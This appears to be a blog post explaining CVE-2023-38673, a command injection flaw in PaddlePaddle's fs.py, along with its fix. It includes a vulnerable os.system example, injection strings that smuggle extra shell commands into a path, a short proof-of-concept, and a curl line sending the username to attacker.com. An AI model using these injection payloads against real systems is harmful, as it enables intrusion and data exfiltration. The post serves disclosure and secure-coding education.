CVE-2023-38673 - Command Injection in PaddlePaddle (fs.py) Explained with Exploit Details

In this post, we’ll break down CVE-2023-38673: a command injection vulnerability in PaddlePaddle, an open-source machine learning framework from Baidu. This vulnerability existed before version 2.5., specifically in the fs.py file, allowing attackers to execute arbitrary operating system commands. We’ll explain how it works, show code snippets, and detail a sample exploit. If you use PaddlePaddle, you should update immediately.

1. What is PaddlePaddle and Why Does It Matter?

PaddlePaddle is a deep learning platform widely used in the AI community, especially in China. Like TensorFlow or PyTorch, it helps data scientists and engineers build, train, and deploy AI models.

A vulnerability like command injection can allow attackers to execute any command on your machine. Imagine running some code to train your model, and it ends up deleting your files or installing backdoors. That’s serious.

2. The Vulnerability

Before version 2.5., PaddlePaddle’s fs.py file did not properly sanitize input when used with OS commands. In Python, using functions like os.system() or subprocess.* without sanitizing input is dangerous.

Here’s a focus on how things went wrong (simplified for clarity)

# Vulnerable: fs.py (before 2.5.)
import os

def remove_path(path):
    # Unsafe: This trusts 'path' directly from caller
    cmd = "rm -rf {}".format(path)
    os.system(cmd)

If an attacker can control the path variable, they can inject extra shell commands.

If path is set to "/tmp/data; whoami", the executed command is

rm -rf /tmp/data; whoami

This will remove /tmp/data and then run whoami (displaying the username).

3. Exploit Scenario

Suppose you have a PaddlePaddle-based web service that lets users manage files, and it uses remove_path internally. An attacker submits a specially crafted filename:

malicious_filename = "/tmp/data; curl http://attacker.com/$(whoami)";
remove_path(malicious_filename)

This command will send the server's username to the attacker's website.

Attacker finds a way to control the filename or path variable.

2. Attacker submits input like: /tmp/dummy; <malicious command here>

The server executes both the intended and the malicious command.

Impact: The attacker can run anything, such as downloading malware, deleting data, or gaining unauthorized access.

4. Responsible Use: Proof-of-Concept (PoC)

Let’s demonstrate a PoC for educational purposes ONLY.

# runshell.py - For demonstration only!
import os

def remove_path(path):
    cmd = f"rm -rf {path}"
    os.system(cmd)

# This will ALSO show the current user and host
malicious_input = "/tmp/test; echo HACKED; uname -a"
remove_path(malicious_input)

5. Fix and Prevention

PaddlePaddle fixed this in PR #55672 by using Python’s safer functions and avoiding shell interpretation.

Instead of sending a full command string to the shell, use subprocess with arguments

import subprocess

def remove_path_safe(path):
    # No shell interpretation, safe against injection
    subprocess.run(["rm", "-rf", path], check=True)

NEVER use untrusted input in a shell command string.

6. How to Protect Yourself

- Upgrade Now: Always use PaddlePaddle 2.5. or newer. Download the latest here: PaddlePaddle Releases
- Audit Your Code: Check for any use of os.system(), os.popen(), subprocess with shell=True.

7. References

- CVE-2023-38673 @ NVD
- PaddlePaddle Security Advisory
- Fix Commit on GitHub
- Command Injection Article by OWASP

Summary

CVE-2023-38673 is a command injection bug in PaddlePaddle’s fs.py—it lets attackers run arbitrary commands by exploiting untrusted input in system calls. Using os.system() with user input is dangerous. Always validate inputs, use secure APIs, and update your software.

If you maintain PaddlePaddle installations: patch now, check your code, and spread the word!

Timeline

Published on: 07/26/2023 12:15:00 UTC
Last modified on: 07/31/2023 18:12:00 UTC